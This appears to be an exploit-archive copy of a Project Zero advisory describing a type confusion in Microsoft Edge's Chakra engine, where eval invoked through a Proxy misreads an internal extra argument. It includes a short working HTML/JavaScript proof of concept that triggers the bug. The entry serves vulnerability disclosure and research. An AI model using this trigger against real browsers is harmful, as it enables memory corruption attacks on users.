Microsoft Edge – ‘eval’ Type Confusion
<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=948 In Chakra, function calls can sometimes take an extra internal argument, using the flag CallFlags_ExtraArg. The global eval function makes assumptions about the type of this extra arg, and casts it to a FrameDisplay object. If eval is called from a location in code where an extra parameter is added, for example, a Proxy function trap, and the extra parameter is of a different type, this can lead to type confusion. A full PoC is as follows and attached: var p = new Proxy(eval, {}); p("alert(\"e\")"); --> <html> <body> <script> var p = new Proxy(eval, {}); p("alert(\"e\")"); </script> </body> </html> |